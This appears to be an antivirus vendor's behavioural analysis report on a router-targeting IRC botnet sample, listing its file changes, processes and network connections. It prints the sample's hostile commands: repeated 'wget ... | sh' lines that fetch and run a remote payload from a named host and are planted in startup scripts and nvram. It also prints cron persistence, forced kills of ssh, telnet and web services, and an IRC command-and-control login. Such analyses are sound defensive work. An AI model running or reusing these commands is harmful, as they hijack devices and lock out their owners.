Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
- /etc/init.d/rcS.bak
- /etc/init.d/rcS
- /etc/persistent/rc.poststart
- /var/spool/cron/crontabs/root
Malicious functions:
Launches itself as a daemon
Modifies router settings:
- /bin/nvram
- /bin/cfgmtd
Stops system services:
- service httpd stop
- service telnetd stop
- service sshd stop
Launches processes:
- sh -c cat /etc/init.d/rcS | grep -v \"wget\" > /etc/init.d/rcS.bak
- cat /etc/init.d/rcS
- grep -v wget
- sh -c echo \"sleep 300 && wget -qO - http://fkd.derpcity.ru/nvr | sh &\" > /etc/init.d/rcS
- sh -c cat /etc/init.d/rcS.bak >> /etc/init.d/rcS
- cat /etc/init.d/rcS.bak
- sh -c rm -rf /etc/init.d/rcS.bak
- rm -rf /etc/init.d/rcS.bak
- sh -c nvram set rc_firewall=\"sleep 120 && wget -qO - http://fkd.derpcity.ru/nvr | sh\" > /dev/null 2>&1
- sh -c nvram commit > /dev/null 2>&1
- sh -c ( echo \"sleep 120 && wget -q -O - http://fkd.derpcity.ru/nvr | sh > /dev/null 2>&1 &\" > /etc/persistent/rc.poststart ) > /dev/null 2>&1
- sh -c chmod 755 /etc/persistent/rc.poststart > /dev/null 2>&1
- chmod 755 /etc/persistent/rc.poststart
- sh -c cfgmtd -w -p /etc/ > /dev/null 2>&1
- sh -c ( cfgmtd -w -p /etc/ && sleep 432000 && reboot & ) > /dev/null 2>&1
- sh -c rm -rf /var/run/wgsh > /dev/null 2>&1 &
- sleep 432000
- sh -c rm -rf /var/run/bbsh > /dev/null 2>&1 &
- rm -rf /var/run/wgsh
- sh -c rm -rf /var/run/tty1 > /dev/null 2>&1 &
- sh -c rm -rf /var/run/tty2 > /dev/null 2>&1 &
- rm -rf /var/run/tty1
- sh -c rm -rf /var/run/tty3 > /dev/null 2>&1 &
- rm -rf /var/run/tty2
- sh -c rm -rf /var/run/tty4 > /dev/null 2>&1 &
- rm -rf /var/run/tty3
- sh -c rm -rf /var/run/tty5 > /dev/null 2>&1 &
- rm -rf /var/run/tty4
- sh -c rm -rf /var/run/tty6 > /dev/null 2>&1 &
- rm -rf /var/run/tty5
- sh -c rm -rf /tmp/tty1 > /dev/null 2>&1 &
- rm -rf /var/run/tty6
- sh -c rm -rf /tmp/tty2 > /dev/null 2>&1 &
- rm -rf /tmp/tty1
- sh -c rm -rf /tmp/tty3 > /dev/null 2>&1 &
- rm -rf /tmp/tty2
- sh -c rm -rf /tmp/tty4 > /dev/null 2>&1 &
- rm -rf /tmp/tty3
- sh -c rm -rf /tmp/tty5 > /dev/null 2>&1 &
- rm -rf /tmp/tty4
- rm -rf /tmp/tty5
- sh -c rm -rf /tmp/tty6 > /dev/null 2>&1 &
- sh -c rm -rf /var/run/pty > /dev/null 2>&1 &
- rm -rf /tmp/tty6
- sh -c killall -9 arm > /dev/null 2>&1 &
- rm -rf /var/run/pty
- sh -c killall -9 mips > /dev/null 2>&1 &
- sh -c killall -9 mipsel > /dev/null 2>&1 &
- sh -c killall -9 powerpc > /dev/null 2>&1 &
- sh -c killall -9 ppc > /dev/null 2>&1 &
- sh -c killall -9 daemon.armv4l.mod > /dev/null 2>&1 &
- sh -c killall -9 daemon.i686.mod > /dev/null 2>&1 &
- sh -c killall -9 daemon.mips.mod > /dev/null 2>&1 &
- sh -c killall -9 daemon.mipsel.mod > /dev/null 2>&1 &
- sh -c kill -9 `cat /tmp/.xs/*.pid` > /dev/null 2>&1 &
- sh -c rm -rf /tmp/.xs/* > /dev/null 2>&1 &
- cat /tmp/.xs/*.pid
- rm -rf /tmp/.xs/*
- sh -c chmod 700 <SAMPLE_FULL_PATH> > /dev/null 2>&1 &
- chmod 700 <SAMPLE_FULL_PATH>
- sh -c touch -acmr /bin/ls <SAMPLE_FULL_PATH>
- touch -acmr /bin/ls <SAMPLE_FULL_PATH>
- sh -c (crontab -l | grep -v \"<SAMPLE_FULL_PATH>\" | grep -v \"no cron\" | grep -v \"lesshts/run.sh\" > /var/run/.x001804289383) > /dev/null 2>&1
- grep -v no cron
- crontab -l
- grep -v <SAMPLE_FULL_PATH>
- grep -v lesshts/run.sh
- sh -c echo \"* * * * * <SAMPLE_FULL_PATH> > /dev/null 2>&1 &\" >> /var/run/.x001804289383
- sh -c crontab /var/run/.x001804289383
- crontab /var/run/.x001804289383
- sh -c rm -rf /var/run/.x001804289383
- rm -rf /var/run/.x001804289383
- sh -c /bin/uname -n
- sh -c nvram get router_name
- /bin/uname -n
- sh -c kill -9 `cat /var/run/httpd.pid` > /dev/null 2>&1 &
- sh -c service httpd stop > /dev/null 2>&1 &
- cat /var/run/httpd.pid
- sh -c killall -9 mini_httpd > /dev/null 2>&1 &
- sh -c killall -9 minihttpd > /dev/null 2>&1 &
- sh -c kill -9 `cat /var/run/thttpd.pid` > /dev/null 2>&1 &
- cat /var/run/thttpd.pid
- sh -c nvram set httpd_enable=0 > /dev/null 2>&1
- sh -c nvram set http_enable=0 > /dev/null 2>&1
- sh -c killall -9 httpd > /dev/null 2>&1 &
- sh -c service telnetd stop > /dev/null 2>&1 &
- sh -c service sshd stop > /dev/null 2>&1 &
- sh -c killall -9 telnetd > /dev/null 2>&1 &
- sh -c killall -9 utelnetd > /dev/null 2>&1 &
- sh -c killall -9 dropbear > /dev/null 2>&1 &
- sh -c killall -9 sshd > /dev/null 2>&1 &
- sh -c killall -9 lighttpd > /dev/null 2>&1 &
Attempts to kill system processes:
- killall -9 mini_httpd
- killall -9 minihttpd
- killall -9 httpd
- killall -9 telnetd
- killall -9 utelnetd
- killall -9 dropbear
- killall -9 sshd
Kills system processes:
- sshd
Attempts to kill the following processes:
- killall -9 arm
- killall -9 mips
- killall -9 mipsel
- killall -9 powerpc
- killall -9 ppc
- killall -9 daemon.armv4l.mod
- killall -9 daemon.i686.mod
- killall -9 daemon.mips.mod
- killall -9 daemon.mipsel.mod
- killall -9 lighttpd
Performs operations with the file system:
Modifies file access rights:
- <SAMPLE_FULL_PATH>
- /var/spool/cron/crontabs/tmp.weLEAh
Creates or modifies files:
- /var/run/.x001804289383
- /run/.x001804289383
- /var/spool/cron/crontabs/tmp.weLEAh
Deletes files:
- /etc/init.d/rcS.bak
- /var/run/wgsh
- /var/run/bbsh
- /var/run/tty1
- /var/run/tty2
- /var/run/tty3
- /var/run/tty4
- /var/run/tty5
- /var/run/tty6
- /tmp/tty1
- /tmp/tty2
- /tmp/tty3
- /tmp/tty4
- /tmp/tty5
- /tmp/tty6
- /var/run/pty
- /tmp/.xs/*
- /var/run/.x001804289383
Network activity:
Awaits incoming connections on ports:
- 127.0.0.1:63008
Connects to the following servers over the IRC protocol:
- Server: 19#.#0.197.29; Command: NICK Ms|x|0|462864|unknown\nUSER x00 localhost localhost :2018f\n
- Server: 19#.#0.197.29; Command: NICK Ms|x|0|462864|unknown\n
- Server: 19#.#0.197.29; Command: MODE Ms|x|0|462864|unknown -xi\n
- Server: 19#.#0.197.29; Command: JOIN #0x01 :777\n
Other:
Collects OS information
